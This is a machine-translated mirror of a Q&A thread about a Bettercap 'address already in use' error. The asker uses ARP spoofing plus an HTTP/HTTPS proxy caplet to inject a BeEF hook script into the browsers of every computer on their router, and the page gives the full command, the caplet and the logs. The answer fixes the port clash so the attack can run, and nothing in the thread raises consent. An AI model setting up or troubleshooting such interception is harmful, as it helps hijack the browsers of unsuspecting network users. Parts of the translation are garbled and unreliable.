简体   繁体   English

Bettercap:绑定:地址已在使用中

[英]Bettercap: bind: address already in use

Whatever port I try to use I keep getting the error: 无论我尝试使用哪个端口,我都会不断收到错误消息:

listen tcp 0.0.0.0:PORT_NUMBER: bind: address already in use 监听TCP 0.0.0.0:PORT_NUMBER:绑定:地址已在使用中

Environment 环境

  • I also installed this using Brew if you need to know that 如果您需要了解这一点,我也使用Brew进行了安装
    • Bettercap 2.11.1 更好的2.11.1
    • Mac OS High-Sierra Mac OS High-Sierra
    • golang 1.11.4 高朗1.11.4

Command line code used: 使用的命令行代码:

sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap

beef-active.cap: 牛肉active.cap:

set http.proxy.script beef-inject.js
set http.proxy.port 8011
set https.proxy.port 8011
http.proxy on
https.proxy on
sleep 1
arp.spoof on

Expected behavior: 预期行为:

I am trying to inject some js into the browser of each computer connected to my router. 我正在尝试将一些js注入连接到路由器的每台计算机的浏览器中。 I except to see a message that the beef-inject was successfully injected 除了看到一条消息,表明牛肉注射已成功注射

Actual behavior: What actually happened 实际行为:实际发生了什么

Stops when it hits my IP address. 当它碰到我的IP地址时停止。 Here is the output: 这是输出:

[13:26:41] [sys.log] [inf] http.proxy started on 0.0.0.0:8011 (sslstrip disabled) [13:26:41] [sys.log] [inf] http.proxy在0.0.0.0:8011上启动(禁用了sslstrip)

[13:26:41] [sys.log] [inf] loading proxy certification authority TLS key from /var/root/.bettercap-ca.key.pem [13:26:41] [sys.log] [inf]从/var/root/.bettercap-ca.key.pem加载代理证书颁发机构TLS密钥

[13:26:41] [sys.log] [inf] loading proxy certification authority TLS certificate from /var/root/.bettercap-ca.cert.pem [13:26:41] [sys.log] [inf]从/var/root/.bettercap-ca.cert.pem加载代理证书颁发机构TLS证书

[13:26:41] [sys.log] [inf] Enabling forwarding. [13:26:41] [sys.log] [inf]启用转发。

[13:26:41] [sys.log] [inf] https.proxy started on 0.0.0.0:8011 (sslstrip disabled) [13:26:41] [sys.log] [inf] https.proxy从0.0.0.0:8011开始(已禁用sslstrip)

[13:26:41] [sys.log] [!!!] listen tcp 0.0.0.0:8011: bind: address already in use [13:26:41] [sys.log] [!!!]监听tcp 0.0.0.0:8011:bind:地址已在使用中

edit: 编辑:

Changing the ports for both to be different stopped the error however it is still not injecting anything into the browsers. 将两个端口更改为不同可以停止该错误,但是仍然没有向浏览器注入任何内容。 All I keep getting in the console is: 我一直进入控制台的一切是:

ok so I changed that and I am no longer getting that error however, it is still not injecting any JS into the browsers. 好的,所以我更改了它,并且不再出现该错误,但是,它仍然没有在浏览器中注入任何JS。 I just keep getting new and lost endpoints like so: 我只是不断获得新的和丢失的端点,如下所示:

0.0.0.0/24 > 0.0.0.0  » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
0.0.0.0/24 > 0.0.0.0  » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.

.... Then it keeps ticking through the same messages, new > lost > new > lost ....然后,它不断在相同的消息中打勾,依次为“新建>丢失>新建>丢失”

Any ideas? 有任何想法吗?

set http.proxy.port 8011
set https.proxy.port 8011

Those ports are set to the same thing, which means they're both trying to listen on 8011 and are stomping on each other. 这些端口设置为同一端口,这意味着它们都试图监听8011,并且互相踩踏。

Change one of them to a different port and the error should go away. 将其中之一更改为其他端口,错误应消失。

Cheers! 干杯!

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 MitmProxy无法在Ubuntu中启动:启动代理服务器时出错:错误(98,“地址已在使用中”) - MitmProxy cannot start in Ubuntu: Error starting proxy server: error(98, 'Address already in use') 如何在Android上使用OWASP ZAP进行MiTM攻击? - How to use OWASP ZAP for MiTM attack on Android? 如何使用 mitmdump 将 http2 转换为本地 http? - How to use mitmdump to translate http2 to local http? 使用mitmproxy将表单键/值转换为正文 - Use mitmproxy to translate a form key/value to a body post 如何使用 python mitm 捕获请求并通过 flask 重播请求 - How to use python mitm to capture requests and replay on request via flask 在两个函数中使用文件中的相同随机行 - Use same random line from file in two functions 如何使用iptables在我和外部服务之间建立TCP代理? - How can I use iptables to make a TCP proxy between me and a outside service? 每当特定应用程序尝试使用互联网连接时,mitmproxy 客户端和服务器就会断开连接 - mitmproxy Client and Server disconnects whenever a specific app tries to use internet connection 如何使用MITMPROXY复制Charles的地图远程功能 - How to use MITMPROXY to replicate Charles' Map Remote feature 如何使用第二台 PC 即时替换请求的文件? - How can I use a second PC to replace the requested file on the fly?
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM